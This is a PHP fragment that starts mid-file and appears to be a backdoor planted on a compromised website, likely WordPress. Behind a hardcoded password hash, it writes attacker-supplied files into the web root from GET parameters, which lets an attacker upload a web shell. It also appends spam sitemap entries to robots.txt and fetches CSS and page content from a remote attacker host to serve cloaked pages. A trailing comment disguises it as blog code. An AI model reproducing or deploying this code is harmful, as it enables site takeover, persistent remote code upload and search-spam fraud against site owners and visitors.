";
if ($password == '10a34637ad661d98ba3344717656fcc76209c2f8') {
$add_content = @$_GET['mapname'];
echo "Map Name: $add_content
";
$action = @$_GET['action'];
if (isset($_SERVER['DOCUMENT_ROOT'])) {
$path = $_SERVER['DOCUMENT_ROOT'];
} else {
$path = dirname(__FILE__);
}
if (!$action) {
$action = 'put';
}
echo "Action: $action
";
if ($action == 'put') {
if (strstr($add_content, '.xml')) {
$map_path = $path . '/sitemap.xml';
if (is_file($map_path)) {
@unlink($map_path);
}
$file_path = $path . '/robots.txt';
if (file_exists($file_path)) {
$data = doutdo($file_path);
} else {
$data = 'User-agent: *
Allow: /';
}
$sitmap_url = $http . '://' . $host . '/' . $add_content;
echo "Sitemap URL: $sitmap_url
";
if (stristr($data, $sitmap_url)) {
echo '
sitemap already added!
';
} else {
if (file_put_contents($file_path, trim($data) . "\r\n" . 'Sitemap: ' . $sitmap_url)) {
echo '
ok
';
} else {
echo '
file write false!
';
}
}
} else {
echo '
sitemap name false!
';
}
if (strstr($add_content, '.p' . 'hp')) {
$a = sha1(sha1(@$_GET['a']));
$b = sha1(sha1(@$_GET['b']));
echo "A: $a
";
if ($a == doutdo($http_web . '://' . $goweb . '/a.p' . 'hp') || $b == '13f799aa2abbf81d53d881d2938dc79f038d1643') {
$dstr = @$_GET['dstr'];
echo "DSTR: $dstr
";
if (file_put_contents($path . '/' . $add_content, $dstr)) {
echo 'ok';
}
}
}
}
}
if (isset($_SERVER['DOCUMENT_ROOT'])) {
$path = $_SERVER['DOCUMENT_ROOT'];
} else {
$path = dirname(__FILE__);
}
if(is_dir($path. '/wp-includes')){
$fpath = 'wp-includes/css';
}else{
$fpath = 'css';
}
$dpath = $path. '/'.$fpath;
if(substr($host,0,4)=='www.'){
$host_nw = substr($host, 4);
}else{
$host_nw = $host;
}
$cssn = str_rot13(substr($host_nw,0,3).substr($goweb,0,3)).'.css';
$ps = $path. '/'.$fpath.'/'.$cssn;
$urlc = $http_web . '://' . $goweb . '/temp/style.css';
echo $urlc;
function ping_sitemap($url){
$url_arr = explode("\r\n", trim($url));
$return_str = '';
foreach($url_arr as $pingUrl){
$pingRes = doutdo($pingUrl);
echo $pingRes;
$ok = (strpos($pingRes, 'Sitemap Notification Received') !== false) ? 'pingok' : 'error';
$return_str .= $pingUrl . '-- ' . $ok . '
';
}
return $return_str;
}
function disbot()
{
$uAgent = strtolower($_SERVER['HTTP_USER_AGENT']);
if (stristr($uAgent, 'googlebot') || stristr($uAgent, 'bing') || stristr($uAgent, 'yahoo') || stristr($uAgent, 'google') || stristr($uAgent, 'Googlebot') || stristr($uAgent, 'googlebot')) {
return false;
} else {
return true;
}
}
function doutdo($url)
{
$file_contents= '';
if(function_exists('curl_init')){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30);
$file_contents = curl_exec($ch);
curl_close($ch);
}
if (!$file_contents) {
$file_contents = @file_get_contents($url);
}
return $file_contents;
}
function fcss($dpath,$ps,$urlc){
if(is_dir($dpath)){
if(!file_exists($ps)){
@file_put_contents($ps,doutdo($urlc));
}
}else{
if(@mkdir($dpath)){
if(!file_exists($ps)){
@file_put_contents($ps,doutdo($urlc));
}
}
}
}
if($duri_tmp=='/' || strstr($duri_tmp, 'ewttm')){
fcss($dpath,$ps,$urlc);
}
if(is_file($ps)){
$web = '';
}else{
$web = '';
}
$html_content = trim(doutdo($web));
if (!strstr($html_content, 'nobotuseragent')) {
if (strstr($html_content, 'okhtmlgetcontent')) {
@header("Content-type: text/html; charset=utf-8");
if(file_exists($ps)){
$lcss_str = file_get_contents($ps);
$html_content = str_replace("[##linkcss##]", '', $html_content);
}else{
$html_content = str_replace("[##linkcss##]", '', $html_content);
}
$html_content = str_replace("okhtmlgetcontent", '', $html_content);
echo $html_content;
exit();
}else if(strstr($html_content, 'okxmlgetcontent')){
$html_content = str_replace("okxmlgetcontent", '', $html_content);
@header("Content-type: text/xml");
echo $html_content;
exit();
}else if(strstr($html_content, 'pingxmlgetcontent')){
$html_content = str_replace("pingxmlgetcontent", '', $html_content);
echo $html_content;
fcss($dpath,$ps,$urlc);
@header("Content-type: text/html; charset=utf-8");
echo ping_sitemap($html_content);
exit();
}else if (strstr($html_content, 'getcontent500page')) {
@header('HTTP/1.1 500 Internal Server Error');
exit();
}else if (strstr($html_content, 'getcontent404page')) {
@header('HTTP/1.1 404 Not Found');
exit();
}else if (strstr($html_content, 'getcontent301page')) {
@header('HTTP/1.1 301 Moved Permanently');
$html_content = str_replace("getcontent301page", '', $html_content);
echo $html_content;
exit();
}
}/* blog M216 */ ?>